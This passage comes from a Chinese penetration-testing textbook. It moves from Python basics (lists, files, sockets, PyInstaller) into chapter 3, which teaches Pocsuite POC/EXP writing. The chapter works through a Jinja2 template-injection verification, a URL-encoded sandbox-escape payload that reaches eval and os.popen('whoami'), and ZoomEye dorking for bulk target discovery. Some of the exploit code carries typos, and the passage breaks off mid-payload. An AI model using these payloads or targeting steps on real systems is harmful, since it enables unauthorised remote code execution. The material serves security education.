除了可以从自带的IDLE（IDLE是Python软件包自带的一个集成开发环境，初学者可以利用它方便地创建、运行、测试和调试Python程序）进入Python的交互界面以外，也可以在终端输入相应的Python命令并按Enter键后进入Python的交互界面。这种工作方式有助于读者更加清楚地了解Python原理。对于网络编程来说，Linux系统的性能要远远高于Windows系统，故本书中的大部分应用程序运行在Linux系统环境下。

首先打开Linux系统终端，输入python 3进入交互界面，如下所示，可以看出当前Python版本为3.6.9：

在此页面中输入Python语句后按Enter键就会立刻执行命令，例如，使用print函数打印一句话：

>>> print("hello! welcome to ms08067.com")

输出结果如下所示：

另外，也可以在编辑器中将代码写完，然后通过在终端执行Python脚本输出结果。同一个Python脚本在Windows系统和Linux系统下都能得到相同的效果。本书使用的编辑器环境为pycharm。当然，读者可以根据自己的喜好选择其他编辑器。

添加注释是写程序时的一个好习惯，这样当自己完成一个项目后，也方便其他人读懂自己的代码。这一点在团队协作过程中尤为重要。也可以通过添加注释的方式禁用一段代码，例如：

>>>print(hello, welcome to ms08067.com!)  #打印输出指令

输出结果：

hello, welcome to ms08067.com!

2.3　Python模块的安装与使用

Python之所以能够得到各领域工程师的青睐，也许是因为它有各行业各领域的扩展库（其中又包含大量模块）。Python中的模块数量众多，功能强大，本节将带领大家一起学习Python模块的安装与使用。

1.Python模块的安装

Python模块的安装方式有很多种。当前，pip已成为管理Python模块的主流方式，使用pip不仅可以实时查看Python已经安装过的模块列表，还支持Python模块的安装。安装方式非常简单，只需要直接在终端界面输入如下指令：

>>>pip3 install 模块名称

结果如下所示：

2.Python模块的导入与使用

在默认情况下，Python仅包含一些核心模块，在需要的时候再加载其他模块，这样可以减小程序运行的压力，且具有较强的扩展性。一般情况下，内置对象可以直接使用，而标准库和扩展模块需要导入之后才能使用其中的对象。Python中导入模块有两个命令：Import和From。

（1）Import模块名称

采用“Import模块名称”方式时，需要在对象前面加上模块名称作为前缀，具体形式为“模块名称.对象”，如下列命令所示：

>>>import requests
>>>r = requests.get('http://ms08067.com')

（2）From模块名称import对象名

使用“From模块名称import对象名”方式仅导入明确指定的对象，这样可以使程序员只输入少量的代码，并且不需要使用模块名称作为前缀，如下列命令所示：

>>>from math import sin
>>>sin(2.5)

虽然此方法有很多好处，但是如果多个模块中有同名的对象，这种方式将导致只有最后一个导入的模块中的同名对象生效。

2.4　Python序列

在Python中，序列是最基本的数据结构，相当于C语言中的数组结构。Python中序列结构包括列表、元组、字典等。

2.4.1　列表

列表是Python序列的重要组成之一。在列表中的所有元素都放在一对中括号“[]”中，相邻元素之间使用逗号隔开，例如['ms08067'，'成员组成']。下面是列表的一些操作示例。

（1）创建列表

格式如下：

>>>student = ['number', 'name', 'age']

也可以通过list（）函数将元组、字符串、字典或者其他类型的可迭代对象转化为列表：

>>>num = list((1,2,3,4,5,6,7,8,9))
>>>num

运行结果：

[1,2,3,4,5,6,7,8,9]

（2）删除列表

删除列表中的单个元素：

>>>list = ['m', 's',0,8,0,6,7]
>>>del list[1]                    #删除列表中的单个元素

运行结果为

['m',0,8,0,6,7]

删除整个列表对象：

>>>list = ['m', 's',0,8,0,6,7]
>>>del list                       #删除整个列表对象

（3）在列表尾部添加元素

添加单个元素：

>>>list = ['m', 's',0,8,0,6,7]
>>>list.append(8)                 #列表尾部添加单个元素
>>>list

运行结果：

['m', 's',0,8,0,6,7,8]

添加列表L：

>>>list = ['m', 's',0,8,0,6,7]
>>>L = ['m', 's',0,8,0,6,7]
>>>list.extend(L)                 #在列表尾部添加列表L
>>>list

运行结果：

['m', 's',0,8,0,6,7,8,'m', 's',0,8,0,6,7,8]

（4）在列表的指定位置添加元素

示例如下：

>>> list = ['m', 's',0,8,0,6,7]
>>>demo = '.com'
>>>list.insert(7, demo)           #在列表list的指定位置7后面添加demo元素

运行结果：

['m', 's', 0, 8, 0, 6, 7, '.com']

（5）删除列表中首次出现的元素

示例如下：

>>> list = ['m','s',0,8,0,6,7]
>>> list.remove(0)                #在列表list中删除首次出现的元素0
>>> list

运行结果：

['m', 's', 8, 0, 6, 7]

（6）删除并返回列表中指定下标的元素

示例1：

>>> list = ['m','s',0,8,0,6,7]
>>> list.pop()                    #删除并返回列表list中下标元素，默认值为-1

运行结果：

7

示例2：

>>> list.pop(0)                   #删除并返回列表list中下标为0的元素

运行结果：

'm'

（7）返回指定元素在列表list中出现的次数

示例1：

>>> list = ['m','s',0,8,0,6,7]
>>> list.count(0)                 #返回列表中0元素出现的次数

运行结果：

2

示例2：

>>> list.count('m')               #返回列表中m元素出现的次数

运行结果：

1

（8）将列表list中的所有元素逆序

示例如下：

>>> list = ['m','s',0,8,0,6,7]
>>> list.reverse()                #将列表list中的所有元素逆序
>>> list

运行结果：

[7, 6, 0, 8, 0, 's', 'm']

（9）对列表list中的元素进行排序

key可用来指定排序依据，reverse决定是升序（False）还是降序（True），示例如下：

>>> list = ['m','s',0,8,0,6,7]
>>> list.sort(key=str,reverse=False)
>>> list

运行结果：

[0, 0, 6, 7, 8, 'm', 's']

2.4.2　元组

元组也是Python的一个重要序列结构。从形式上来看，元组中的所有元素都放在一对圆括号中，元素之间用逗号隔开，其具体形式如下所示：

>>> tuple = ('m','s',0,8,0,6,7)
>>> tuple

运行结果：

('m', 's', 0, 8, 0, 6, 7)

元组与列表不同，元组属于不可变序列，一旦创建后便无法对元素进行增删改查，但是对元素的访问速度要比列表快得多。由于不能更改元组中的元素，其代码更加安全。

2.4.3　字典

不同于在渗透测试中使用的字典，Python中的字典是包含若干“键：值”元素的可变序列，字典中的每一个元素都包含用冒号分开的“键”和“值”，不同元素之间用逗号隔开，所有元素放在一对大括号“{”和“}”中。另外，需要注意的是字典中的“键”不能重复，而“值”可以重复，可以表示为如下形式：

>>> dic = {'lab':'ms08067','url':'http://ms08067.com'}
>>> dic

运行结果：

{'url': 'http://ms08067.com', 'lab': 'ms08067'}

（1）通过dict（）创建字典

示例如下：

>>> lab = dict(lab='ms08067',url='http://ms08067.com')
>>> lab

运行结果：

{'url': 'http://ms08067.com', 'lab': 'ms08067'}

（2）修改字典中的元素

示例如下：

>>> dic = {'name':'xiao ming','age':26,'sex':'male'}
>>> dic['age']=25
>>> dic

运行结果：

{'age': 25, 'name': 'xiao ming', 'sex': 'male'}

（3）为字典添加新元素

示例如下：

>>> dic = {'name':'xiaoming','age':26}
>>> dic['sex']='male'
>>> dic

运行结果：

{'age': 26, 'name': 'xiaoming', 'sex': 'male'}

（4）返回字典中的所有元素

示例如下：

>>> dic = {'name':'xiaoming','age':26,'sex':'male'}
>>> dic.items()

运行结果：

[('age', 26), ('name', 'xiaoming'), ('sex', 'male')]

（5）删除字典中的元素

示例如下：

>>> dic = {'name':'xiaoming','age':26,'sex':'male'}
>>> del dic['sex']
>>> dic

运行结果：

{'age': 26, 'name': 'xiaoming'}

2.5　Python控制结构

常见的编程语言通常包含三大控制结构：顺序结构、选择结构和循环结构。其中，顺序结构就是一句跟着一句执行。而选择结构则是通过条件判断，最终选择出所需要的结果。循环结构是通过重复有规律性的操作，从而减少代码量，使代码表达更为简洁。下面将详细讲述Python控制结构中的选择结构和循环结构。

2.5.1　选择结构

在编程时，当需要根据条件表达式的值确定下一步的执行流程时，通常会用到选择结构。最为常用的选择结构语句为if语句。例如：

>>>x = 1
>>>if(x > 0):
    print(x)

运行结果：

1

有时候，我们希望输出自己设定的一句话或者某个提示，例如，当学生成绩低于60分时为不及格，大于等于60分、小于80分时为良好，大于等于80分时为优秀。此时可以通过如下代码实现：

#!/usr/bin/python
#coding:utf-8
studentScore = int(input('Scores of students: '))
if (studentScore < 60):
    print('不及格')
if ( 60<=studentScore<80):
    print('良好')
if (studentScore>=80):
    print('优秀')

在终端运行Python脚本，并在提示“Scores of student：”后输入相应的学生分数，即可返回相应不及格、良好或者优秀的结果。

2.5.2　循环结构

在Python中主要有两种类型的循环结构：for循环和while循环。for循环一般用于有明显边界范围的情况，例如，计算1+2+3+…+100等于几的问题，就可以用for循环求解。while循环一般应用于循环次数难以确定的情况。下面分别介绍这两种结构。

1.for循环

通常使用for循环时会有一个固定的边界范围，例如，用for循环求解1+2+3+…+100，实现代码如下：

#!/usr/bin/python
#coding:utf-8
Sum = 0
for i in range(1,101):
    Sum= Sum + i
else:
print('Sum =',Sum)

运行结果：

Sum = 5050

2.while循环

当循环次数无界时通常会使用while循环，例如，当输入变量不固定时，即求1+2+3+…+x的和，其中x为输入变量，此时可以选择while循环进行计算：

#!/usr/bin/python
#coding:utf-8
x = int(input('x='))
Sum = 0
while x!=0 :
    Sum = Sum + x
    x = x-1
else:
    print('Sum=',Sum)

当输入100时，其运行结果如下：

Sum= 5050

当输入1000时，其运行结果如下：

Sum= 500500

2.6　文件处理

文件就像一个仓库，可以存储各种类型的数据。根据用途可以将文件分为数据库文件、图像文件、音频文件、视频文件、文本文件等。本节主要介绍文本文件的处理。在文本文件中存储的是常规字符串，由文本行组成，每行通常由换行符“\n”结尾。

对于文本文件来说，通常的操作流程为打开文件并创建对象，对该文件内容进行读取、写入、删除、修改等操作，关闭并保存文件。

1.打开文件并创建对象

在Python中内置了文件对象，通过open（）函数就可以指定模式打开指定文件，并创建文件对象，该函数的格式如下：

open(file[, mode='r'[, buffering=-1]])

其中各参数的含义如下：

·file：指定要打开或者创建的文件的名称，如果该文件不存在于当前目录中，则需要明确指出绝对路径。

·mode：指定打开文件后的处理方式，其中包括读模式、写模式、追加模式、二进制模式、文本模式、读写模式等。

·buffering：指定读写文件的缓冲模式，数值为0表示不缓存，数值为1表示使用行缓存模式，数值大于1表示缓冲区的大小，默认值为-1。二进制文件和非交互文本文件以固定大小的块为缓冲单位，等价于io。

2.对文件内容进行操作

对文件内容进行的操作包括：文件的读取、写入、追加，以及设置采用二进制模式、文本模式、读写模式等。下面针对读写操作进行详细讲解。

（1）向文本文件中写入内容

如果需要向文本文件中写入内容，在打开文件时就需要指定文件的打开模式为写模式。应根据不同的开发需求选取不同的写入模式：

·w：写入模式。如果文件已经存在，则先清空文件内容；如果文件不存在，则创建文件。

·x：写入模式，创建新文件，如果文件已经存在，则抛出异常。

·a：追加模式，也是写入模式的一种，不覆盖文件的原始内容。

例如，创建demo文件并写入“hello world！”，此时可以选用w模式。

>>> s = 'hello world! \n'
>>> f = open('demo.txt','w')
>>> f.write(s)
>>> f.close()

打开文件，发现在根目录中已经生成文件demo.txt，内容为“hello world！”。

再例如，向已经存在的demo.txt文件中写入“hello China！”且不清空原始内容，此时可以选用a模式打开文件。

>>> s = 'hello China!'
>>> f = open('demo.txt','a')
>>> f.write(s)
>>> f.close()

打开根目录下的demo.txt文件，发现文件内容中增加了“hello China！”字样。

（2）读取文件中的内容

有时需要加载文本中的某行或者全部内容，此时就需要用到文本的读取操作：

·r：读模式（默认模式，可以省略），如果文件不存在，则抛出异常。

·+：读写模式（可与其他模式组合使用）。

例如，读取根目录下demo.txt文件的第一行内容：

>>> f = open('demo.txt','r')
>>> print(f.readline())

运行结果：

hello world!

再例如，读取根目录下demo.txt文件的所有内容：

>>> f = open('demo.txt','r')
>>> print(f.read())

运行结果：

hello world!
hello China!

3.关闭文件对象

当操作完文件内容以后，一定要关闭文件对象，这样才能确保所做的修改都保存到了文件当中，如下所示：

f.close()

文件操作一般都要遵循“打开→读写→关闭”的基本流程，但是如果文件读写操作代码引发了异常，就很难保证文件能够被正常关闭。可以使用上下文管理关键字with来避免产生这个问题。关键字with能够自动管理资源，总能保证文件正确关闭，并且可以在代码执行结束后自动还原开始执行代码块时的现场。下面用一个示例来说明with的使用方法。

例如，利用with关键字向文件demo.txt文件中继续添加“hello ms08067”：

>>> with open('demo.txt','a') as f:
...     f.write('hello ms08067')
...

运行结果：

hello world!
hello china!
hello ms08067

2.7　异常处理结构

对于每一种高级语言来说，异常处理结构不仅能够提高代码的鲁棒性，而且提高了代码的容错性，从而不会因为使用者的错误输入而造成系统崩溃，也可以通过异常处理结构为使用者提供更加友好的错误提示。引发程序异常的原因有很多种，较为常见的有除0、下标越界等。

Python中提供了很多不同形式的异常处理结构，其基本思路都是先尝试执行代码，再处理可能发生的错误。

1.try…except…结构

在Python异常处理结构中，try…except…结构使用得最为频繁，其中try子句中的代码块为可能引发异常的语句，except子句用来捕获相应的异常。也可以解释为，当try子句代码块执行异常并且被except子句捕获时，执行except子句的代码块。

例如，在使用学校的学生成绩系统录入每科成绩时，要求输入0～100的整型数值，而不接受其他类型的数值，如果输入的值超出0～100这一范围，则会给出提示，示例代码如下：

#!/usr/bin/python
#coding:utf-8
mathScore = input('数学成绩：')
try:
    mathScore = int(mathScore)
    if(0<=mathScore<=100):
        print("输入的数学成绩为：",mathScore)
    else:
        print("输入不在本科成绩范围内。")
except Exception as e:
    print('输入的数值有误！')

输出结果：

数学成绩：'a'，输入的数值有误！
数学成绩：121，输入不在本科成绩范围内。

2.try…except…else…结构

上面的例子是通过try…expect…结构和if语句来判断学生的数学成绩是否在0～100范围中的，也可以通过try…except…else…结构进行编写。如果try代码的子句出现了异常且该异常被except捕获，则可以执行相应的异常处理代码，此时就不会执行else中的子句；如果try中的代码没有抛出异常，则继续执行else子句。

例如，将前面的示例用try…expect…else…结构实现：

#!/usr/bin/python
#coding:utf-8
mathScore = input('数学成绩：')
try:
    mathScore = int(mathScore)
except Exception as e:
    print('输入的数值有误！')
else:
    if(0<=mathScore<=100):
        print('输入的数学成绩为：',mathScore)
    else:
        print('请输入正确的数学成绩。')

输出结果：

数学成绩：'a'，输入的数值有误！
数学成绩：121，请输入正确的数学成绩。

3.try…except…finally…结构

在try…except…finally…结构中，无论try子句是否正常执行，finally子句中的代码块总会得到执行。在日常开发过程中，该结构通常用来做清理工作，释放try子句中申请的资源。

例如，输入两个数值a，b进行除法运算，并输出最终结果。同时为了确保程序的鲁棒性，要求带有异常处理结构。鲁棒是指系统的健壮性，是在存在异常和危险的情况下系统生存的关键，这个结构示例如下：

#!/usr/bin/python
#coding:utf-8
a = int(input('a：'))
b = int(input('b：'))
try:
    div = a/b
    print(div)
except Exception as e:
    print('The second parameter cannot be 0.')
finally:
    print('运行结束！')

输出结果：

a：1.0
b：2.0
0.5

2.8　Socket网络编程

Socket是计算机之间进行网络通信的一套程序接口，相当于在发送端和接收端之间建立了一个通信管道。在实际应用中，一些远程管理软件和网络安全软件大多依赖于Socket来实现特定功能，由于TCP（Transmission Control Protocol，传输控制协议）方式在网络编程中应用得非常频繁，此处将对TCP编程进行讲解并给出具体应用实例。

编写TCP时一般会用到的Socket模块，其方法主要包括：

·connect（address）：连接远程计算机。

·send（bytes[，flags]）：发送数据。

·recv（bufsize[，flags]）：接收数据。

·bind（address）：绑定地址。

·listen（backlog）：开始监听，等待客户端连接。

·accept（）：响应客户端的一个请求，接受一个连接。

使用TCP进行通信，首先需要在客户端和服务端建立连接，并且要在通信结束后关闭连接以释放资源。由于TCP是面向连接的，因此相对于UDP提供更高的可靠性。下面通过示例展示如何通过TCP进行通信。

例如，设计一个对话系统“小艾”。该应用分为两部分，一部分为服务端，一部分为客户端。客户端发送请求信息，服务端返回应答信息。两部分的代码如下所示。

（1）服务端代码

代码如下：

# coding=UTF-8
import socket
language = {'what is your name':'I am Tom','how old are you':'25','bye':'bye!'}
HOST = "127.0.0.1"
PORT = 6666
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((HOST,PORT))
s.listen(1)
print("Listing at port 6666")
conn,addr = s.accept()
print('Connect by: ',addr)
while True:
    data = conn.recv(1024)
    data = data.decode()
    if not data:
        break
    print('Received message:',data)
    conn.sendall(language.get(data,'Nothing').encode())
conn.close()
s.close()

（2）客户端代码

代码如下：

# coding=UTF-8
import socket,sys
HOST = "127.0.0.1"
PORT = 6666
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    s.connect((HOST,PORT))
except Exception as e:
    print('server not found!')
    sys.exit()
while True:
    c = input('YOU SAY:')
    s.sendall(c.encode())
    data = s.recv(1024)
    data = data.decode()
    print('Received:',data)
    if c.lower()=='再见':
        break

将以上的代码分别保存为server.py和client.py文件，在cmd窗口运行服务端程序，服务端开始进行监听；启动一个新的cmd窗口并运行客户端程序，服务端程序提示连接已建立；在客户端输入要发送的信息后，服务端会根据提前建立的字典进行自动回复。对话效果如图2-6所示。

图2-6　对话效果

2.9　可执行文件的转换

当开发者向普通用户分享程序时，为了方便用户在未安装Python环境的情况下能够正常运行，需要将开发好的程序进行打包，转换成用户可运行的文件类型。本节将介绍在Windows和Linux两种系统下，将Python类型的文件转换成可执行文件的方式。

PyInstaller是常见的执行文件打包工具。该工具的安装方式非常简单，可运行在Windows、MacOS X和GNU/Linux操作系统环境中，支持Python 2和Python 3两种版本，并且在不同的操作系统环境中，PyInstaller工具的使用方法和选项相同。

需要注意的是，用PyInstaller打包的执行文件，只能在与执行打包操作的系统类型相同的环境下运行。也就是说，这样的执行文件不具备可移植性，比如在Windows系统下用PyInstaller生成的执行文件只能运行在Windows环境，在Linux系统下生成的执行文件只能运行在Linux环境。

2.9.1　在Windows系统下转换

首先从官方网站（https://pypi.org/project/PyInstaller）下载PyInstaller的安装包，将下载好的PyInstaller压缩包文件进行解压。解压好的文件夹下包含setup.py文件。可通过执行如下命令对PyInstaller进行安装：

>>> python setup.py install

安装PyInstaller的过程如下所示：

准备好要进行打包的Python文件和需要绑定的图标类型。需注意的是图标应为.ico类型。将两个文件放到一个文件夹中，通过cmd窗口打开该文件夹所在路径，执行如下命令进行打包操作：

>>> pyinstaller -F -i snail.ico ms08067.py

执行效果如下所示：

执行后的文件如图2-7所示。

图2-7　执行后的文件

生成的可执行文件ms08067.exe存储在dist文件夹中，通过cmd命令打开文件所在路径，并运行ms08067.exe文件，运行结果如下所示：

2.9.2　在Linux系统下转换

在Linux系统下安装PyInstaller的方式与Windows系统中相同，从官方网站下载PyInstaller，将下载好的PyInstaller压缩包文件解压，通过执行如下命令对PyInstaller进行安装：

>>> python3 setup.py install

执行结果如下所示：

将要打包的Python文件放到一个文件夹中，执行如下命令进行打包操作：

>>> pyinstaller -F ms08067.py

可执行文件转换的执行效果如下所示：

生成的可执行文件ms08067存储在dist文件夹中，运行命令终端打开文件所在路径，并运行ms08067可执行文件，运行结果如下所示：

2.10　小结

本章简单介绍了Python语言，并分别讲解了在Windows和Linux系统上安装相应工具包的方式。讲解Python语言的基础语法并不是本书的重点，所以这里只是简单介绍了Python中常见的数据类型、基本结构、常见函数等，供读者参考。如果读者没有编程基础，那么可以选择一本专门介绍Python语言的基础书籍来学习。

从下一章开始，将会正式切入主题，学习如何使用模块文件，如何编写自己的测试工具等。

第3章
渗透测试框架

在渗透测试过程中，会面对大量的渗透概念验证（Proof of Concept，POC）和漏洞利用（Exploit，EXP），从中查找所需要的对应脚本非常困难，而渗透测试框架的出现解决了这一问题，在编写时就将POC和EXP按照一定的格式进行限制，按照文件夹或文件名进行分类，并内置了许多可调用的模块，以便于POC和EXP的快速编写。

常见的渗透测试框架包括Metasploit、Pocsuite、Fsociety等，本章将介绍Pocsuite渗透测试框架的使用及编写。主要内容包括：

·Pocsuite简介以及安装和使用方法。

·POC脚本编写。

·EXP脚本编写。

3.1　Pocsuite框架

Pocsuite是一款基于漏洞与POC的远程漏洞验证框架，支持Windows/Linux/Mac OS X等系统，整个框架操作灵活，既方便了对漏洞的管理、查找等，也提高了工作效率。

在介绍Pocsuite之前，先来了解两个基本概念：POC，是用来验证漏洞是否存在的一段代码；EXP，指利用系统漏洞进行渗透。先有POC，后有EXP。

Pocsuite是由“知道创宇404实验室”打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石，是团队发展至今一直维护的一个项目。

你可以直接使用Pocsuite进行漏洞的验证与利用，也可以基于Pocsuite进行POC/EXP的开发，因为Pocsuite同时也是一个POC开发框架。你还可以在漏洞测试工具里直接集成Pocsuite，因为Pocsuite也提供标准的调用类。

3.1.1　功能介绍

1.漏洞测试框架

Pocsuite 3用Pyhton 3编写，支持验证、利用及壳三种插件模式，你可以指定单个目标或者从文件中导入多个目标，使用单个POC或者POC集合进行漏洞的验证或利用。可以使用命令行模式进行调用，也支持类似Metaspolit的交互模式进行处理，除此之外，还包含了一些基本功能，如输出结果报告等。

2.POC/EXP开发包

Pocsuite 3也是一个POC/EXP的SDK（也就是开发包），封装了一些基础的POC类以及一些常用的方法，比如Webshell的相关方法，基于Pocsuite 3进行POC/EXP的开发，只需要编写最核心的漏洞验证部分代码，而不用去关心整体的结果输出等其他一些处理。基于Pocsuite 3编写的POC/EXP可以直接被Pocsuite使用，Seebug网站也有几千个基于Pocsuite的POC/EXP。

3.可被集成模块

Pocsuite 3除了本身是一个安全工具，也可以作为一个Python包被集成进漏洞测试模块。你还可以基于Pocsuite 3开发自己的应用，我们在Pocsuite 3里封装了可以被其他程序导入的POC调用类，你可以基于Pocsuite 3进行二次开发，调用Pocsuite 3开发自己的漏洞验证工具。

4.集成ZoomEye、Seebug、Ceye

Pocsuite 3还集成了ZoomEye、Seebug和Ceye API，你可以利用ZoomEye API批量获取指定条件的测试目标（使用ZoomEye的Dork进行搜索），同时通过Seebug API读取指定组件或者类型的漏洞的POC或者本地POC，进行自动化的批量测试。也可以利用Ceye验证盲打的DNS和HTTP请求。

3.1.2　安装

Pocsuite的安装十分便捷，这里提供三种安装方法，可以根据自己主机的命令来选择适合的方法进行安装，安装完成后使用pocsuite-version验证安装是否成功。

方法一　通过git命令来克隆代码仓库中的最新源代码，如下所示。

>>> git clone git@github.com:nopesec/pocsuite3.git

方法二　使用下列命令下载最新的源代码zip包，并以解压的方式进行安装，如下所示。

>>> wget https://github.com/knownsec/pocsuite3/archive/master.zip

返回结果如下：

方法三　直接使用pip命令安装方式，如下所示。

>>> pip install pocsuite3

安装完成后需要在Pocsuite文件夹内直接输入如下命令检查安装版本：

>>> pocsuite -version

3.1.3　使用方法

Pocsuite具有两种交互模式，一种是命令行模式，类似于我们所熟知的sqlmap的交互方式，另一种是控制台交互模式，类似于w3af或者Metasploit的界面。帮助命令如下：

>>> pocsuite --help

返回结果如下：

在使用Pocsuite时，我们可以用--verify参数来调用_verify方法，用于验证目标是否存在漏洞；用--attack参数调用_attack方法，用来向目标发起攻击。代码如下所示：

def _attack(self):
    result = {}
    #Write your code here
    return self.parse_output(result)

def _verify(self):
    result = {}
    #Write your code here
    return self.parse_output(result)

1）Verify验证模式，验证目标是否存在漏洞。-r为脚本路径，-u为目标地址，命令如下：

>>> python pocsuite.py -r pocs/test1.py(poc脚本路径) -u https://www.ms08067.
    com --verify

2）批量验证，将需要验证的所有目标IP写到一个txt文件中批量利用，命令如下：

>>>python pocsuite.py -r pocs/test1.py(poc脚本路径) -f url.txt  --verify

3）加载文件夹下的所有poc对目标进行测试，-r为文件夹路径，命令如下：

>>>python pocsuite.py -r pocs/* -u https://www.ms08067.com --verify

4）使用多线程。--threads表示线程数，在多目标场景下，可以使用该参数提高效率，命令如下：

>>>python pocsuite.py -r pocs/(poc脚本路径) -u https://www.ms08067.com --verify
    --threads 10

5）使用Zoomeye搜索引擎，搜索开放端口为6379的Redis服务，命令如下：

python cli.py --dork 'port:6379' --vul-keyword 'redis' --max-page 2

6）Attack模式，向目标发起有效攻击，命令如下：

>>>python pocsuite.py -r pocs/(poc脚本路径) –u https://www.ms08067.com  --attack

7）使用shell交互式模式，对目标进行远程控制，命令如下：

>>> python pocsuite.py -r pocs/(poc脚本路径) -u http://www.ms08067.com --shell

8）使用自定义命令'command'，调用外部传递参数，进行半交互式命令执行，命令如下：

pocsuite -u http://ms08067.com -r pocs/(poc脚本路径) --attack --command "whoami"

3.2　POC脚本编写

对于POC脚本的编写，Pocsuite给出了简单易懂的模板，只需更改关键漏洞验证的代码即可。

3.2.1　Flask服务器模板环境搭建

Flask是一个使用Python编写的轻量级Web应用框架，使用BSD授权。其WSGI工具箱采用Werkzeug，模板引擎则使用Jinja2。

Flask属于微框架（micro-framework），这既是优点也是缺点，优点是框架轻量，更新依赖少，更容易专注于安全方面的漏洞，缺点是不得不通过添加插件来增加依赖列表。Flask依赖中就有造成模板注入漏洞的插件Jinja2的模板引擎，Jinja2是一个面向Python的模板语言。

可通过wget或GitHub直接下载，可根据具体需求选择合适的下载方式。我们通过Docker（见公众号链接3-1）可以很方便地将漏洞复现环境搭建出来：

Docker-compose build     // 编译下载漏洞环境所需的配置
Docker-compose up -d     // 启动漏洞环境

安装完成后，访问“本机地址：8000端口”，出现如图3-1所示的界面，代表漏洞环境已经启动成功。

图3-1　访问漏洞页面

首先让我们来看一下漏洞Web服务的代码，源代码位于app目录下的app.py文件中，如下所示：

从这里可以看出name的值是直接从get参数中获取的，所以Template是完全可控的。要测试漏洞是否存在，要看能否执行Jinja2模板语言。这里测试一下能否将模板语言传递到参数中，如图3-2所示。

图3-2　验证漏洞

这里表示Jinja2是可以执行的。使用Pocsuite编写漏洞验证POC时，需要按照官方模板进行编写，对接API接口能很方便地完成POC脚本。POC的命名形式为：“组成漏洞应用名_版本号_漏洞类型名称”，然后把文件名中所有字母改成小写，所有的符号改成下划线“_”。文件名中不能有特殊字符和大写字母，最后形成的文件名应该像这样：_1847_seeyon_3_1_login_info_disclosure.py。

3.2.2　POC脚本的编写步骤

下面进行POC脚本的编写。

1）首先新建一个.py文件，文件名应当符合POC命名规范。

2）编写POC实现类DemoPOC，继承自POCBase类：

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str

    class DemoPOC(POCBase):
        ...

3）填写POC信息字段，需要认真填写所有基本信息字段，规范信息字段以利于查找：

vulID = '1571'               # ssvid ID，如果是提交漏洞的同时提交PoC，则写成0
version = '1'               #默认为1
author = 'seebug'               # POC作者的名字
vulDate = '2014-10-16'          #漏洞公开的时间，不明确时可以写今天
createDate = '2014-10-16'     # 编写POC的日期
updateDate = '2014-10-16'     # POC更新的时间，默认和编写时间一样
references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-
    vulnerability.html']          # 漏洞地址来源，0day不用写
name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC' # POC名称
appPowerLink = 'https://www.drupal.org/'     # 漏洞厂商的主页地址
appName = 'Drupal'                    # 漏洞应用名称
appVersion = '7.x'                    # 漏洞影响版本
vulType = 'SQL Injection'               #漏洞类型
desc = '''
Drupal 在处理IN语句时，展开数组时key带入SQL语句导致SQL注入，可以添加管理员，造成信
    息泄露
    '''                              # 漏洞简要描述
samples = []                         # 测试样列，使用POC测试成功的网站
install_requires = []

4）编写验证模式，在_verify方法中写入POC验证脚本：

def _verify(self):
    output = Output(self)
               # 验证代码
    if result:     # result表示返回结果
        output.success(result)
    else:
        output.fail('target is not vulnerable')
    return output

5）编写攻击模式。用_attack（）函数中写入EXP利用脚本，在攻击模式下可以对目标进行getshell、查询管理员账户密码等操作，定义它的方法与检测模式类似：

def _attack(self):
    output = Output(self)
    result = {}
    # 攻击代码

注意：如果该POC没有攻击模式，可以在_attack（）函数下加入return self._verify（），无须再写_attack（）函数。

由上可知，Pocsuite框架的方便之处在于，基本的框架已经构造好了，只需填写漏洞扫描的代码，然后通过接收传入的IP地址进行url的构造，在后方加入“/？name=”构造url，向构造好的url发送请求，并判断其返回状态码及payload值，如果返回状态码为200，则代表网页正常请求，若返回的payload值为484，则表示服务器将url传入的payload正常执行，说明此处存在安全漏洞：

def _verify(self):
    '''verify mode'''
    result = {}
    path = "/?name="
    url = self.url + path
    payload = "{{22*22}}"

    #first req
    try:
        resq = requests.get(url + payload)
        if resq and resq.status_code == 200 and "484" in resq.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
    except Exception,e:
        pass
    return self.parse_output(result)

将模板的_verify方法替换成Flask漏洞检测的脚本便完成了POC的编写，执行效果如图3-3所示。

图3-3　Pocsuite验证漏洞

3.3　EXP脚本编写

EXP脚本的编写与POC脚本编写一样，只需要修改_attack部分，替换成漏洞利用的脚本即可。要利用Flask漏洞，需要用到Python的特性。关于如何在Jinja2模板中执行Python代码，官方给出的方法是在模板环境中注册函数就可以进行调用。

Jinja2模板访问Python的内置变量并调用时，需要用到Python沙盒逃逸方法，具体参数如下所示。

·__bases__：以元组返回一个类所直接继承的类。

·__mro__：以元组返回继承关系链。

·__class__：返回对象所属的类。

·__globals__：以dict返回函数所在模块命名空间中的所有变量。

·__subclasses__（）：以列表返回类的子类。

·_builtins_：内建函数。

Python中可以直接运行一些函数，如int（）、list（）等，这些函数可以在__builtins__中查到。查看的方法是dir（__builtins__）。利用Python的特性，渗透测试的思路是利用_builtins_的特性得到eval，如下所示：

for c in ().__class__.__base__[0].__subclass__():
    if c.__name__=='_IterationGuard':
    c.__init__.__globals__['__builtins__']['eval']("__import__('os').system
        ('whoami')")

再将其转为Jinja2语法格式。Jinja2的语法与Python语法相似，但在每个语句的开始和结束处需要使用{{%%}}括起来，转化后的代码如下所示：

{%%20for%20c%20in%20[].__class__.__base__.__subclass__()%20%}%20{%' \
'%20if%20c.__name__==%27_IterationGuard%27%20%}%20{{%20c.__init__.__globals__[%27__
    builtins__%27]' \
'[%27eval%27]("__import__(%27os%27).popen(%27whoami%27.read()")%20%%}%20{%%20end-
    if%20%}%20{%' \
'%20endfor%20%}

最后将此EXP写到_attack方法中，便完成了EXP的编写，如下所示：

def __attack(self):
    '''attack mode'''
    result = {}
    path = "/?name="
    url = self.url + path
    payload = '{%%20for%20c%20in%20[].__class__.__base__.__subclass__()%20
          %}%20{%' \
'%20if%20c.__name__==%27_IterationGuard%27%20%}%20{{%20c.__init__.__globals__[%27__
    builtins__%27]' \
'[%27eval%27]("__import__(%27os%27).popen(%27whoami%27.read()")%20%%}%20{%%20end-
    if%20%}%20{%' \
